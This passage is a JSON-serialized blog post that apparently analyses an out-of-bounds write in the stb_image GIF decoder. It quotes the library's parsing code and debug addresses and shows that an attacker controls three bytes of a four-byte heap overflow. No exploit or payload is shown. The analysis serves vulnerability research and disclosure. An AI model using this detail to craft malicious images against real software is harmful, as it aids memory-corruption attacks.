128",{"type":24,"tag":271,"props":155291,"children":155292},{"style":288},[155293],{"type":29,"value":919},{"type":24,"tag":271,"props":155295,"children":155296},{"class":273,"line":365},[155297,155302,155306,155310,155314,155318,155322,155326,155330,155334],{"type":24,"tag":271,"props":155298,"children":155299},{"style":630},[155300],{"type":29,"value":155301}," p",{"type":24,"tag":271,"props":155303,"children":155304},{"style":288},[155305],{"type":29,"value":4520},{"type":24,"tag":271,"props":155307,"children":155308},{"style":477},[155309],{"type":29,"value":4121},{"type":24,"tag":271,"props":155311,"children":155312},{"style":288},[155313],{"type":29,"value":4530},{"type":24,"tag":271,"props":155315,"children":155316},{"style":624},[155317],{"type":29,"value":762},{"type":24,"tag":271,"props":155319,"children":155320},{"style":630},[155321],{"type":29,"value":45113},{"type":24,"tag":271,"props":155323,"children":155324},{"style":288},[155325],{"type":29,"value":4520},{"type":24,"tag":271,"props":155327,"children":155328},{"style":477},[155329],{"type":29,"value":165},{"type":24,"tag":271,"props":155331,"children":155332},{"style":288},[155333],{"type":29,"value":5556},{"type":24,"tag":271,"props":155335,"children":155336},{"style":2058},[155337],{"type":29,"value":155338}," // OOB write\n",{"type":24,"tag":271,"props":155340,"children":155341},{"class":273,"line":374},[155342,155346,155350,155354,155358,155362,155366,155370,155374],{"type":24,"tag":271,"props":155343,"children":155344},{"style":630},[155345],{"type":29,"value":155301},{"type":24,"tag":271,"props":155347,"children":155348},{"style":288},[155349],{"type":29,"value":4520},{"type":24,"tag":271,"props":155351,"children":155352},{"style":477},[155353],{"type":29,"value":156},{"type":24,"tag":271,"props":155355,"children":155356},{"style":288},[155357],{"type":29,"value":4530},{"type":24,"tag":271,"props":155359,"children":155360},{"style":624},[155361],{"type":29,"value":762},{"type":24,"tag":271,"props":155363,"children":155364},{"style":630},[155365],{"type":29,"value":45113},{"type":24,"tag":271,"props":155367,"children":155368},{"style":288},[155369],{"type":29,"value":4520},{"type":24,"tag":271,"props":155371,"children":155372},{"style":477},[155373],{"type":29,"value":156},{"type":24,"tag":271,"props":155375,"children":155376},{"style":288},[155377],{"type":29,"value":4865},{"type":24,"tag":271,"props":155379,"children":155380},{"class":273,"line":384},[155381,155385,155389,155393,155397,155401,155405,155409,155413],{"type":24,"tag":271,"props":155382,"children":155383},{"style":630},[155384],{"type":29,"value":155301},{"type":24,"tag":271,"props":155386,"children":155387},{"style":288},[155388],{"type":29,"value":4520},{"type":24,"tag":271,"props":155390,"children":155391},{"style":477},[155392],{"type":29,"value":165},{"type":24,"tag":271,"props":155394,"children":155395},{"style":288},[155396],{"type":29,"value":4530},{"type":24,"tag":271,"props":155398,"children":155399},{"style":624},[155400],{"type":29,"value":762},{"type":24,"tag":271,"props":155402,"children":155403},{"style":630},[155404],{"type":29,"value":45113},{"type":24,"tag":271,"props":155406,"children":155407},{"style":288},[155408],{"type":29,"value":4520},{"type":24,"tag":271,"props":155410,"children":155411},{"style":477},[155412],{"type":29,"value":4121},{"type":24,"tag":271,"props":155414,"children":155415},{"style":288},[155416],{"type":29,"value":4865},{"type":24,"tag":271,"props":155418,"children":155419},{"class":273,"line":393},[155420,155424,155428,155432,155436,155440,155444,155448,155452],{"type":24,"tag":271,"props":155421,"children":155422},{"style":630},[155423],{"type":29,"value":155301},{"type":24,"tag":271,"props":155425,"children":155426},{"style":288},[155427],{"type":29,"value":4520},{"type":24,"tag":271,"props":155429,"children":155430},{"style":477},[155431],{"type":29,"value":4525},{"type":24,"tag":271,"props":155433,"children":155434},{"style":288},[155435],{"type":29,"value":4530},{"type":24,"tag":271,"props":155437,"children":155438},{"style":624},[155439],{"type":29,"value":762},{"type":24,"tag":271,"props":155441,"children":155442},{"style":630},[155443],{"type":29,"value":45113},{"type":24,"tag":271,"props":155445,"children":155446},{"style":288},[155447],{"type":29,"value":4520},{"type":24,"tag":271,"props":155449,"children":155450},{"style":477},[155451],{"type":29,"value":4525},{"type":24,"tag":271,"props":155453,"children":155454},{"style":288},[155455],{"type":29,"value":4865},{"type":24,"tag":271,"props":155457,"children":155458},{"class":273,"line":402},[155459],{"type":24,"tag":271,"props":155460,"children":155461},{"style":288},[155462],{"type":29,"value":2378},{"type":24,"tag":25,"props":155464,"children":155465},{},[155466,155468,155473,155475,155480],{"type":29,"value":155467},"This confirms ",{"type":24,"tag":135,"props":155469,"children":155471},{"className":155470},[],[155472],{"type":29,"value":83307},{"type":29,"value":155474}," is OOB for ",{"type":24,"tag":135,"props":155476,"children":155478},{"className":155477},[],[155479],{"type":29,"value":154958},{"type":29,"value":155481}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":24,"tag":25,"props":155483,"children":155484},{},[155485,155487,155493,155495,155502],{"type":29,"value":155486},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":24,"tag":135,"props":155488,"children":155490},{"className":155489},[],[155491],{"type":29,"value":155492},"g->color_table",{"type":29,"value":155494}," is populated by ",{"type":24,"tag":32,"props":155496,"children":155499},{"href":155497,"rel":155498},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[36],[155500],{"type":29,"value":155501},"stbi__gif_parse_colortable",{"type":29,"value":12210},{"type":24,"tag":261,"props":155504,"children":155506},{"code":155505,"language":578,"meta":7,"className":576,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[155507],{"type":24,"tag":135,"props":155508,"children":155509},{"__ignoreMap":7},[155510,155530,155550,155589,155605,155617,155624,155635,155678,155712,155743,155774,155831,155838],{"type":24,"tag":271,"props":155511,"children":155512},{"class":273,"line":274},[155513,155517,155521,155526],{"type":24,"tag":271,"props":155514,"children":155515},{"style":278},[155516],{"type":29,"value":590},{"type":24,"tag":271,"props":155518,"children":155519},{"style":278},[155520],{"type":29,"value":595},{"type":24,"tag":271,"props":155522,"children":155523},{"style":598},[155524],{"type":29,"value":155525}," stbi__gif_parse_colortable",{"type":24,"tag":271,"props":155527,"children":155528},{"style":288},[155529],{"type":29,"value":4028},{"type":24,"tag":271,"props":155531,"children":155532},{"class":273,"line":284},[155533,155538,155542,155546],{"type":24,"tag":271,"props":155534,"children":155535},{"style":288},[155536],{"type":29,"value":155537}," stbi__context ",{"type":24,"tag":271,"props":155539,"children":155540},{"style":624},[155541],{"type":29,"value":627},{"type":24,"tag":271,"props":155543,"children":155544},{"style":630},[155545],{"type":29,"value":18355},{"type":24,"tag":271,"props":155547,"children":155548},{"style":288},[155549],{"type":29,"value":638},{"type":24,"tag":271,"props":155551,"children":155552},{"class":273,"line":294},[155553,155558,155563,155567,155571,155575,155579,155584],{"type":24,"tag":271,"props":155554,"children":155555},{"style":288},[155556],{"type":29,"value":155557}," stbi_uc ",{"type":24,"tag":271,"props":155559,"children":155560},{"style":630},[155561],{"type":29,"value":155562},"pal",{"type":24,"tag":271,"props":155564,"children":155565},{"style":288},[155566],{"type":29,"value":4520},{"type":24,"tag":271,"props":155568,"children":155569},{"style":477},[155570],{"type":29,"value":100085},{"type":24,"tag":271,"props":155572,"children":155573},{"style":288},[155574],{"type":29,"value":5046},{"type":24,"tag":271,"props":155576,"children":155577},{"style":477},[155578],{"type":29,"value":3365},{"type":24,"tag":271,"props":155580,"children":155581},{"style":288},[155582],{"type":29,"value":155583},"],",{"type":24,"tag":271,"props":155585,"children":155586},{"style":2058},[155587],{"type":29,"value":155588}," // g->color_table\n",{"type":24,"tag":271,"props":155590,"children":155591},{"class":273,"line":303},[155592,155596,155601],{"type":24,"tag":271,"props":155593,"children":155594},{"style":278},[155595],{"type":29,"value":6300},{"type":24,"tag":271,"props":155597,"children":155598},{"style":630},[155599],{"type":29,"value":155600}," num_entries",{"type":24,"tag":271,"props":155602,"children":155603},{"style":288},[155604],{"type":29,"value":638},{"type":24,"tag":271,"props":155606,"children":155607},{"class":273,"line":312},[155608,155612],{"type":24,"tag":271,"props":155609,"children":155610},{"style":278},[155611],{"type":29,"value":6300},{"type":24,"tag":271,"props":155613,"children":155614},{"style":288},[155615],{"type":29,"value":155616}," transp\n",{"type":24,"tag":271,"props":155618,"children":155619},{"class":273,"line":321},[155620],{"type":24,"tag":271,"props":155621,"children":155622},{"style":288},[155623],{"type":29,"value":919},{"type":24,"tag":271,"props":155625,"children":155626},{"class":273,"line":330},[155627,155631],{"type":24,"tag":271,"props":155628,"children":155629},{"style":278},[155630],{"type":29,"value":154679},{"type":24,"tag":271,"props":155632,"children":155633},{"style":288},[155634],{"type":29,"value":7622},{"type":24,"tag":271,"props":155636,"children":155637},{"class":273,"line":339},[155638,155643,155648,155652,155656,155660,155664,155669,155673],{"type":24,"tag":271,"props":155639,"children":155640},{"style":749},[155641],{"type":29,"value":155642}," for",{"type":24,"tag":271,"props":155644,"children":155645},{"style":288},[155646],{"type":29,"value":155647}," (i",{"type":24,"tag":271,"props":155649,"children":155650},{"style":624},[155651],{"type":29,"value":762},{"type":24,"tag":271,"props":155653,"children":155654},{"style":477},[155655],{"type":29,"value":4121},{"type":24,"tag":271,"props":155657,"children":155658},{"style":288},[155659],{"type":29,"value":796},{"type":24,"tag":271,"props":155661,"children":155662},{"style":624},[155663],{"type":29,"value":801},{"type":24,"tag":271,"props":155665,"children":155666},{"style":288},[155667],{"type":29,"value":155668}," num_entries; ",{"type":24,"tag":271,"props":155670,"children":155671},{"style":624},[155672],{"type":29,"value":834},{"type":24,"tag":271,"props":155674,"children":155675},{"style":288},[155676],{"type":29,"value":155677},"i) {\n",{"type":24,"tag":271,"props":155679,"children":155680},{"class":273,"line":347},[155681,155686,155690,155694,155698,155702,155707],{"type":24,"tag":271,"props":155682,"children":155683},{"style":630},[155684],{"type":29,"value":155685}," pal",{"type":24,"tag":271,"props":155687,"children":155688},{"style":288},[155689],{"type":29,"value":10334},{"type":24,"tag":271,"props":155691,"children":155692},{"style":477},[155693],{"type":29,"value":165},{"type":24,"tag":271,"props":155695,"children":155696},{"style":288},[155697],{"type":29,"value":4530},{"type":24,"tag":271,"props":155699,"children":155700},{"style":624},[155701],{"type":29,"value":762},{"type":24,"tag":271,"props":155703,"children":155704},{"style":598},[155705],{"type":29,"value":155706}," stbi__get8",{"type":24,"tag":271,"props":155708,"children":155709},{"style":288},[155710],{"type":29,"value":155711},"(s);\n",{"type":24,"tag":271,"props":155713,"children":155714},{"class":273,"line":356},[155715,155719,155723,155727,155731,155735,155739],{"type":24,"tag":271,"props":155716,"children":155717},{"style":630},[155718],{"type":29,"value":155685},{"type":24,"tag":271,"props":155720,"children":155721},{"style":288},[155722],{"type":29,"value":10334},{"type":24,"tag":271,"props":155724,"children":155725},{"style":477},[155726],{"type":29,"value":156},{"type":24,"tag":271,"props":155728,"children":155729},{"style":288},[155730],{"type":29,"value":4530},{"type":24,"tag":271,"props":155732,"children":155733},{"style":624},[155734],{"type":29,"value":762},{"type":24,"tag":271,"props":155736,"children":155737},{"style":598},[155738],{"type":29,"value":155706},{"type":24,"tag":271,"props":155740,"children":155741},{"style":288},[155742],{"type":29,"value":155711},{"type":24,"tag":271,"props":155744,"children":155745},{"class":273,"line":365},[155746,155750,155754,155758,155762,155766,155770],{"type":24,"tag":271,"props":155747,"children":155748},{"style":630},[155749],{"type":29,"value":155685},{"type":24,"tag":271,"props":155751,"children":155752},{"style":288},[155753],{"type":29,"value":10334},{"type":24,"tag":271,"props":155755,"children":155756},{"style":477},[155757],{"type":29,"value":4121},{"type":24,"tag":271,"props":155759,"children":155760},{"style":288},[155761],{"type":29,"value":4530},{"type":24,"tag":271,"props":155763,"children":155764},{"style":624},[155765],{"type":29,"value":762},{"type":24,"tag":271,"props":155767,"children":155768},{"style":598},[155769],{"type":29,"value":155706},{"type":24,"tag":271,"props":155771,"children":155772},{"style":288},[155773],{"type":29,"value":155711},{"type":24,"tag":271,"props":155775,"children":155776},{"class":273,"line":374},[155777,155781,155785,155789,155793,155797,155802,155806,155810,155814,155818,155822,155827],{"type":24,"tag":271,"props":155778,"children":155779},{"style":630},[155780],{"type":29,"value":155685},{"type":24,"tag":271,"props":155782,"children":155783},{"style":288},[155784],{"type":29,"value":10334},{"type":24,"tag":271,"props":155786,"children":155787},{"style":477},[155788],{"type":29,"value":4525},{"type":24,"tag":271,"props":155790,"children":155791},{"style":288},[155792],{"type":29,"value":4530},{"type":24,"tag":271,"props":155794,"children":155795},{"style":624},[155796],{"type":29,"value":762},{"type":24,"tag":271,"props":155798,"children":155799},{"style":288},[155800],{"type":29,"value":155801}," transp ",{"type":24,"tag":271,"props":155803,"children":155804},{"style":624},[155805],{"type":29,"value":5059},{"type":24,"tag":271,"props":155807,"children":155808},{"style":288},[155809],{"type":29,"value":4162},{"type":24,"tag":271,"props":155811,"children":155812},{"style":624},[155813],{"type":29,"value":10887},{"type":24,"tag":271,"props":155815,"children":155816},{"style":477},[155817],{"type":29,"value":767},{"type":24,"tag":271,"props":155819,"children":155820},{"style":624},[155821],{"type":29,"value":42784},{"type":24,"tag":271,"props":155823,"children":155824},{"style":477},[155825],{"type":29,"value":155826}," 255",{"type":24,"tag":271,"props":155828,"children":155829},{"style":288},[155830],{"type":29,"value":1069},{"type":24,"tag":271,"props":155832,"children":155833},{"class":273,"line":384},[155834],{"type":24,"tag":271,"props":155835,"children":155836},{"style":288},[155837],{"type":29,"value":2378},{"type":24,"tag":271,"props":155839,"children":155840},{"class":273,"line":393},[155841],{"type":24,"tag":271,"props":155842,"children":155843},{"style":288},[155844],{"type":29,"value":1171},{"type":24,"tag":25,"props":155846,"children":155847},{},[155848,155850,155855,155856,155861,155863,155868],{"type":29,"value":155849},"The first three bytes are read from the input image, while the last byte can be either ",{"type":24,"tag":135,"props":155851,"children":155853},{"className":155852},[],[155854],{"type":29,"value":4121},{"type":29,"value":20834},{"type":24,"tag":135,"props":155857,"children":155859},{"className":155858},[],[155860],{"type":29,"value":120133},{"type":29,"value":155862},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":24,"tag":135,"props":155864,"children":155866},{"className":155865},[],[155867],{"type":29,"value":37522},{"type":29,"value":12210},{"type":24,"tag":261,"props":155870,"children":155872},{"code":155871,"language":578,"meta":7,"className":576,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[155873],{"type":24,"tag":135,"props":155874,"children":155875},{"__ignoreMap":7},[155876,155939,155978,156017,156056,156095,156134],{"type":24,"tag":271,"props":155877,"children":155878},{"class":273,"line":274},[155879,155883,155887,155891,155895,155899,155903,155907,155911,155915,155919,155923,155927,155931,155935],{"type":24,"tag":271,"props":155880,"children":155881},{"style":288},[155882],{"type":29,"value":155193},{"type":24,"tag":271,"props":155884,"children":155885},{"style":624},[155886],{"type":29,"value":762},{"type":24,"tag":271,"props":155888,"children":155889},{"style":624},[155890],{"type":29,"value":14858},{"type":24,"tag":271,"props":155892,"children":155893},{"style":288},[155894],{"type":29,"value":116088},{"type":24,"tag":271,"props":155896,"children":155897},{"style":624},[155898],{"type":29,"value":786},{"type":24,"tag":271,"props":155900,"children":155901},{"style":630},[155902],{"type":29,"value":155214},{"type":24,"tag":271,"props":155904,"children":155905},{"style":288},[155906],{"type":29,"value":4520},{"type":24,"tag":271,"props":155908,"children":155909},{"style":630},[155910],{"type":29,"value":116088},{"type":24,"tag":271,"props":155912,"children":155913},{"style":288},[155914],{"type":29,"value":786},{"type":24,"tag":271,"props":155916,"children":155917},{"style":630},[155918],{"type":29,"value":155231},{"type":24,"tag":271,"props":155920,"children":155921},{"style":288},[155922],{"type":29,"value":155236},{"type":24,"tag":271,"props":155924,"children":155925},{"style":630},[155926],{"type":29,"value":155241},{"type":24,"tag":271,"props":155928,"children":155929},{"style":624},[155930],{"type":29,"value":3895},{"type":24,"tag":271,"props":155932,"children":155933},{"style":477},[155934],{"type":29,"value":19448},{"type":24,"tag":271,"props":155936,"children":155937},{"style":288},[155938],{"type":29,"value":4865},{"type":24,"tag":271,"props":155940,"children":155941},{"class":273,"line":284},[155942,155946,155950,155954,155958,155962,155966,155970,155974],{"type":24,"tag":271,"props":155943,"children":155944},{"style":749},[155945],{"type":29,"value":2235},{"type":24,"tag":271,"props":155947,"children":155948},{"style":288},[155949],{"type":29,"value":1357},{"type":24,"tag":271,"props":155951,"children":155952},{"style":630},[155953],{"type":29,"value":578},{"type":24,"tag":271,"props":155955,"children":155956},{"style":288},[155957],{"type":29,"value":4520},{"type":24,"tag":271,"props":155959,"children":155960},{"style":477},[155961],{"type":29,"value":4525},{"type":24,"tag":271,"props":155963,"children":155964},{"style":288},[155965],{"type":29,"value":4530},{"type":24,"tag":271,"props":155967,"children":155968},{"style":624},[155969],{"type":29,"value":18165},{"type":24,"tag":271,"props":155971,"children":155972},{"style":477},[155973],{"type":29,"value":155289},{"type":24,"tag":271,"props":155975,"children":155976},{"style":288},[155977],{"type":29,"value":919},{"type":24,"tag":271,"props":155979,"children":155980},{"class":273,"line":294},[155981,155985,155989,155993,155997,156001,156005,156009,156013],{"type":24,"tag":271,"props":155982,"children":155983},{"style":630},[155984],{"type":29,"value":155301},{"type":24,"tag":271,"props":155986,"children":155987},{"style":288},[155988],{"type":29,"value":4520},{"type":24,"tag":271,"props":155990,"children":155991},{"style":477},[155992],{"type":29,"value":4121},{"type":24,"tag":271,"props":155994,"children":155995},{"style":288},[155996],{"type":29,"value":4530},{"type":24,"tag":271,"props":155998,"children":155999},{"style":624},[156000],{"type":29,"value":762},{"type":24,"tag":271,"props":156002,"children":156003},{"style":630},[156004],{"type":29,"value":45113},{"type":24,"tag":271,"props":156006,"children":156007},{"style":288},[156008],{"type":29,"value":4520},{"type":24,"tag":271,"props":156010,"children":156011},{"style":477},[156012],{"type":29,"value":165},{"type":24,"tag":271,"props":156014,"children":156015},{"style":288},[156016],{"type":29,"value":4865},{"type":24,"tag":271,"props":156018,"children":156019},{"class":273,"line":303},[156020,156024,156028,156032,156036,156040,156044,156048,156052],{"type":24,"tag":271,"props":156021,"children":156022},{"style":630},[156023],{"type":29,"value":155301},{"type":24,"tag":271,"props":156025,"children":156026},{"style":288},[156027],{"type":29,"value":4520},{"type":24,"tag":271,"props":156029,"children":156030},{"style":477},[156031],{"type":29,"value":156},{"type":24,"tag":271,"props":156033,"children":156034},{"style":288},[156035],{"type":29,"value":4530},{"type":24,"tag":271,"props":156037,"children":156038},{"style":624},[156039],{"type":29,"value":762},{"type":24,"tag":271,"props":156041,"children":156042},{"style":630},[156043],{"type":29,"value":45113},{"type":24,"tag":271,"props":156045,"children":156046},{"style":288},[156047],{"type":29,"value":4520},{"type":24,"tag":271,"props":156049,"children":156050},{"style":477},[156051],{"type":29,"value":156},{"type":24,"tag":271,"props":156053,"children":156054},{"style":288},[156055],{"type":29,"value":4865},{"type":24,"tag":271,"props":156057,"children":156058},{"class":273,"line":312},[156059,156063,156067,156071,156075,156079,156083,156087,156091],{"type":24,"tag":271,"props":156060,"children":156061},{"style":630},[156062],{"type":29,"value":155301},{"type":24,"tag":271,"props":156064,"children":156065},{"style":288},[156066],{"type":29,"value":4520},{"type":24,"tag":271,"props":156068,"children":156069},{"style":477},[156070],{"type":29,"value":165},{"type":24,"tag":271,"props":156072,"children":156073},{"style":288},[156074],{"type":29,"value":4530},{"type":24,"tag":271,"props":156076,"children":156077},{"style":624},[156078],{"type":29,"value":762},{"type":24,"tag":271,"props":156080,"children":156081},{"style":630},[156082],{"type":29,"value":45113},{"type":24,"tag":271,"props":156084,"children":156085},{"style":288},[156086],{"type":29,"value":4520},{"type":24,"tag":271,"props":156088,"children":156089},{"style":477},[156090],{"type":29,"value":4121},{"type":24,"tag":271,"props":156092,"children":156093},{"style":288},[156094],{"type":29,"value":4865},{"type":24,"tag":271,"props":156096,"children":156097},{"class":273,"line":321},[156098,156102,156106,156110,156114,156118,156122,156126,156130],{"type":24,"tag":271,"props":156099,"children":156100},{"style":630},[156101],{"type":29,"value":155301},{"type":24,"tag":271,"props":156103,"children":156104},{"style":288},[156105],{"type":29,"value":4520},{"type":24,"tag":271,"props":156107,"children":156108},{"style":477},[156109],{"type":29,"value":4525},{"type":24,"tag":271,"props":156111,"children":156112},{"style":288},[156113],{"type":29,"value":4530},{"type":24,"tag":271,"props":156115,"children":156116},{"style":624},[156117],{"type":29,"value":762},{"type":24,"tag":271,"props":156119,"children":156120},{"style":630},[156121],{"type":29,"value":45113},{"type":24,"tag":271,"props":156123,"children":156124},{"style":288},[156125],{"type":29,"value":4520},{"type":24,"tag":271,"props":156127,"children":156128},{"style":477},[156129],{"type":29,"value":4525},{"type":24,"tag":271,"props":156131,"children":156132},{"style":288},[156133],{"type":29,"value":4865},{"type":24,"tag":271,"props":156135,"children":156136},{"class":273,"line":330},[156137],{"type":24,"tag":271,"props":156138,"children":156139},{"style":288},[156140],{"type":29,"value":2378},{"type":24,"tag":25,"props":156142,"children":156143},{},[156144,156145,156150,156152,156157,156159,156164],{"type":29,"value":31690},{"type":24,"tag":135,"props":156146,"children":156148},{"className":156147},[],[156149],{"type":29,"value":155501},{"type":29,"value":156151}," has to set the last byte to ",{"type":24,"tag":135,"props":156153,"children":156155},{"className":156154},[],[156156],{"type":29,"value":120133},{"type":29,"value":156158}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":24,"tag":135,"props":156160,"children":156162},{"className":156161},[],[156163],{"type":29,"value":120133},{"type":29,"value":41},{"type":24,"tag":25,"props":156166,"children":156167},{},[156168,156170,156175,156177,156183,156184,156190],{"type":29,"value":156169},"In the code we can see that size of the ",{"type":24,"tag":135,"props":156171,"children":156173},{"className":156172},[],[156174],{"type":29,"value":154958},{"type":29,"value":156176}," allocation is controlled through ",{"type":24,"tag":135,"props":156178,"children":156180},{"className":156179},[],[156181],{"type":29,"value":156182},"g->w",{"type":29,"value":518},{"type":24,"tag":135,"props":156185,"children":156187},{"className":156186},[],[156188],{"type":29,"value":156189},"g->h",{"type":29,"value":156191}," values, both of which are read from the input file itself:",{"type":24,"tag":261,"props":156193,"children":156195},{"code":156194,"language":578,"meta":7,"className":576,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[156196],{"type":24,"tag":135,"props":156197,"children":156198},{"__ignoreMap":7},[156199,156224,156231,156238,156273,156319],{"type":24,"tag":271,"props":156200,"children":156201},{"class":273,"line":274},[156202,156206,156211,156215,156219],{"type":24,"tag":271,"props":156203,"children":156204},{"style":278},[156205],{"type":29,"value":590},{"type":24,"tag":271,"props":156207,"children":156208},{"style":288},[156209],{"type":29,"value":156210}," stbi_uc ",{"type":24,"tag":271,"props":156212,"children":156213},{"style":624},[156214],{"type":29,"value":627},{"type":24,"tag":271,"props":156216,"children":156217},{"style":598},[156218],{"type":29,"value":154137},{"type":24,"tag":271,"props":156220,"children":156221},{"style":288},[156222],{"type":29,"value":156223},"(...)\n",{"type":24,"tag":271,"props":156225,"children":156226},{"class":273,"line":284},[156227],{"type":24,"tag":271,"props":156228,"children":156229},{"style":288},[156230],{"type":29,"value":702},{"type":24,"tag":271,"props":156232,"children":156233},{"class":273,"line":294},[156234],{"type":24,"tag":271,"props":156235,"children":156236},{"style":288},[156237],{"type":29,"value":154699},{"type":24,"tag":271,"props":156239,"children":156240},{"class":273,"line":303},[156241,156245,156249,156253,156257,156261,156265,156269],{"type":24,"tag":271,"props":156242,"children":156243},{"style":749},[156244],{"type":29,"value":2235},{"type":24,"tag":271,"props":156246,"children":156247},{"style":288},[156248],{"type":29,"value":1357},{"type":24,"tag":271,"props":156250,"children":156251},{"style":630},[156252],{"type":29,"value":116088},{"type":24,"tag":271,"props":156254,"children":156255},{"style":288},[156256],{"type":29,"value":786},{"type":24,"tag":271,"props":156258,"children":156259},{"style":630},[156260],{"type":29,"value":125511},{"type":24,"tag":271,"props":156262,"children":156263},{"style":624},[156264],{"type":29,"value":1031},{"type":24,"tag":271,"props":156266,"children":156267},{"style":477},[156268],{"type":29,"value":767},{"type":24,"tag":271,"props":156270,"children":156271},{"style":288},[156272],{"type":29,"value":919},{"type":24,"tag":271,"props":156274,"children":156275},{"class":273,"line":312},[156276,156280,156284,156288,156293,156298,156302,156307,156311,156315],{"type":24,"tag":271,"props":156277,"children":156278},{"style":749},[156279],{"type":29,"value":46954},{"type":24,"tag":271,"props":156281,"children":156282},{"style":288},[156283],{"type":29,"value":1357},{"type":24,"tag":271,"props":156285,"children":156286},{"style":624},[156287],{"type":29,"value":1818},{"type":24,"tag":271,"props":156289,"children":156290},{"style":598},[156291],{"type":29,"value":156292},"stbi__gif_header",{"type":24,"tag":271,"props":156294,"children":156295},{"style":288},[156296],{"type":29,"value":156297},"(s, g, comp,",{"type":24,"tag":271,"props":156299,"children":156300},{"style":477},[156301],{"type":29,"value":4121},{"type":24,"tag":271,"props":156303,"children":156304},{"style":288},[156305],{"type":29,"value":156306},")) ",{"type":24,"tag":271,"props":156308,"children":156309},{"style":749},[156310],{"type":29,"value":56122},{"type":24,"tag":271,"props":156312,"children":156313},{"style":477},[156314],{"type":29,"value":767},{"type":24,"tag":271,"props":156316,"children":156317},{"style":288},[156318],{"type":29,"value":1069},{"type":24,"tag":271,"props":156320,"children":156321},{"class":273,"line":321},[156322,156327,156331,156335,156339,156344,156348,156352,156357,156361,156365,156369,156373,156377,156381,156385,156389,156393,156397],{"type":24,"tag":271,"props":156323,"children":156324},{"style":630},[156325],{"type":29,"value":156326}," g",{"type":24,"tag":271,"props":156328,"children":156329},{"style":288},[156330],{"type":29,"value":786},{"type":24,"tag":271,"props":156332,"children":156333},{"style":630},[156334],{"type":29,"value":125511},{"type":24,"tag":271,"props":156336,"children":156337},{"style":624},[156338],{"type":29,"value":1712},{"type":24,"tag":271,"props":156340,"children":156341},{"style":288},[156342],{"type":29,"value":156343}," (stbi_uc ",{"type":24,"tag":271,"props":156345,"children":156346},{"style":624},[156347],{"type":29,"value":627},{"type":24,"tag":271,"props":156349,"children":156350},{"style":288},[156351],{"type":29,"value":8823},{"type":24,"tag":271,"props":156353,"children":156354},{"style":598},[156355],{"type":29,"value":156356},"stbi__malloc",{"type":24,"tag":271,"props":156358,"children":156359},{"style":288},[156360],{"type":29,"value":606},{"type":24,"tag":271,"props":156362,"children":156363},{"style":477},[156364],{"type":29,"value":3365},{"type":24,"tag":271,"props":156366,"children":156367},{"style":624},[156368],{"type":29,"value":3895},{"type":24,"tag":271,"props":156370,"children":156371},{"style":630},[156372],{"type":29,"value":154739},{"type":24,"tag":271,"props":156374,"children":156375},{"style":288},[156376],{"type":29,"value":786},{"type":24,"tag":271,"props":156378,"children":156379},{"style":630},[156380],{"type":29,"value":2930},{"type":24,"tag":271,"props":156382,"children":156383},{"style":624},[156384],{"type":29,"value":3895},{"type":24,"tag":271,"props":156386,"children":156387},{"style":630},[156388],{"type":29,"value":154739},{"type":24,"tag":271,"props":156390,"children":156391},{"style":288},[156392],{"type":29,"value":786},{"type":24,"tag":271,"props":156394,"children":156395},{"style":630},[156396],{"type":29,"value":91135},{"type":24,"tag":271,"props":156398,"children":156399},{"style":288},[156400],{"type":29,"value":1155},{"type":24,"tag":25,"props":156402,"children":156403},{},[156404,156406,156411,156413,156418],{"type":29,"value":156405},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":24,"tag":135,"props":156407,"children":156409},{"className":156408},[],[156410],{"type":29,"value":154958},{"type":29,"value":156412}," and the value of ",{"type":24,"tag":135,"props":156414,"children":156416},{"className":156415},[],[156417],{"type":29,"value":25},{"type":29,"value":156419}," just before the OOB write happens:",{"type":24,"tag":261,"props":156421,"children":156423},{"code":156422},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[156424],{"type":24,"tag":135,"props":156425,"children":156426},{"__ignoreMap":7},[156427],{"type":29,"value":156422},{"type":24,"tag":25,"props":156429,"children":156430},{},[156431,156433,156438,156440,156445],{"type":29,"value":156432},"There are multiple within-bound writes to ",{"type":24,"tag":135,"props":156434,"children":156436},{"className":156435},[],[156437],{"type":29,"value":25},{"type":29,"value":156439},", but the last write happens just after the ",{"type":24,"tag":135,"props":156441,"children":156443},{"className":156442},[],[156444],{"type":29,"value":154958},{"type":29,"value":156446}," allocation.",{"type":24,"tag":85,"props":156448,"children":156450},{"id":156449},"summarizing-the-corruption",[156451],{"type":29,"value":156452},"Summarizing the Corruption",{"type":24,"tag":97,"props":156454,"children":156455},{},[156456,156469,156497],{"type":24,"tag":101,"props":156457,"children":156458},{},[156459,156461,156467],{"type":29,"value":156460},"A single ",{"type":24,"tag":135,"props":156462,"children":156464},{"className":156463},[],[156465],{"type":29,"value":156466},"0x01",{"type":29,"value":156468}," byte write OOB",{"type":24,"tag":101,"props":156470,"children":156471},{},[156472,156474],{"type":29,"value":156473},"4-byte OOB write just above the allocated buffer\n",{"type":24,"tag":97,"props":156475,"children":156476},{},[156477,156482,156492],{"type":24,"tag":101,"props":156478,"children":156479},{},[156480],{"type":29,"value":156481},"First three bytes are controllable",{"type":24,"tag":101,"props":156483,"children":156484},{},[156485,156487],{"type":29,"value":156486},"Last byte will be 